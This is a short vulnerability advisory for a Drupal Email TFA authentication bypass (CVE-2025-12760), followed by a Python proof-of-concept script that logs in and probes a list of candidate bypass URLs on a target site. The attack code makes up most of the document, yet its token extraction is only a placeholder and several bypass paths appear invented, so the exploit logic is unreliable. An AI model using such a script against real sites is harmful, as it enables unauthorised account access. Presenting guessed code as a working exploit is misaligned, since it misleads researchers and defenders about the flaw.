Authentication Bypass Using an Alternate Path or Channel vulnerability in Drupal Email TFA allows Functionality Bypass.This issue affects Email TFA: from 0.0.0 before 2.0.6.
The following code is for security research and authorized testing only.
python
# CVE-2025-12760 Drupal Email TFA Authentication Bypass PoC
# This PoC demonstrates the concept of bypassing Email TFA authentication
# Note: This is a simplified example for educational purposes
import requests
import re
TARGET_URL = "https://vulnerable-drupal-site.com"
USERNAME = "attacker"
PASSWORD = "password123"
def exploit_email_tfa_bypass():
"""
Exploit CVE-2025-12760: Drupal Email TFA Authentication Bypass
The vulnerability allows bypassing email-based two-factor authentication
through alternate paths in the authentication flow.
"""
session = requests.Session()
# Step 1: Initial login to trigger Email TFA
login_url = f"{TARGET_URL}/user/login"
login_data = {
"name": USERNAME,
"pass": PASSWORD,
"form_id": "user_login_form",
"op": "Log in"
}
response = session.post(login_url, data=login_data)
# Step 2: Extract TFA verification token
# The vulnerability allows bypassing this step via alternate paths
tfa_token = extract_tfa_token(session, response)
# Step 3: Bypass TFA using alternate path
# This is where the vulnerability is exploited
bypass_urls = [
f"{TARGET_URL}/user/reset/1/{tfa_token}/login",
f"{TARGET_URL}/user/2FA-bypass-path",
f"{TARGET_URL}/?q=user/reset/1/{tfa_token}/login",
f"{TARGET_URL}/user/login?token={tfa_token}"
]
for bypass_url in bypass_urls:
response = session.get(bypass_url)
if "Log out" in response.text or "My account" in response.text:
print(f"[+] Successfully bypassed Email TFA via: {bypass_url}")
return True
return False
def extract_tfa_token(session, response):
"""Extract TFA verification token from response"""
# In real exploitation, this would parse the actual token from emails or responses
# For demonstration, returning a placeholder
return "extracted-token-here"
if __name__ == "__main__":
print("Testing CVE-2025-12760 Drupal Email TFA Bypass...")
result = exploit_email_tfa_bypass()
print(f"Exploitation {'successful' if result else 'failed'}")